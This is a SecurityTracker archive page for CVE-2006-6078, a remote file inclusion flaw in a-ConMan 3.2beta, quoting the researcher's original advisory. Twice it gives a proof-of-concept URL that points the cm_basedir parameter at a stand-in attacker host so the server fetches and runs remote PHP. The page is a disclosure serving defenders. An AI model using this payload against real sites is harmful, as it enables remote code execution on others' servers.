SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   a ConMan Vendors:   a-conman.sourceforge.net
a ConMan Include File Bug in 'common.inc.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017278
SecurityTracker URL:  http://securitytracker.com/id/1017278
CVE Reference:   CVE-2006-6078   (Links to External Site)
Updated:  May 27 2008
Original Entry Date:  Nov 24 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.2beta
Description:   A vulnerability was reported in a ConMan. A remote user can include and execute arbitrary code on the target system.

The 'common.inc.php' script does not properly validate user-supplied input in the 'cm_basedir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?

Ahmad Maulana a.k.a Matdhule reported this vulnerability.

The original advisory is available at:

http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  sourceforge.net/projects/a-conman/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [ECHO_ADV_61_2006] a-ConMan <= v3.2beta Remote File Inclusion

------------------------------------------------------------------------------
[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: November, 22nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a-ConMan (Automated Content Management)

Application	: a-ConMan (Automated Content Management)
version		: 3.2beta
URL		: http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate
 the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
<?php
include_once($cm_basedir."/ez_sql.php");
include_once($cm_basedir."/pg2ezsql.php");
// include_once($cm_basedir."/functions.php");
$ver = "3.1.1228";

...
----------------------------------------------------------

Input passed to the "cm_basedir" parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke
~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew @ allindo.net), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC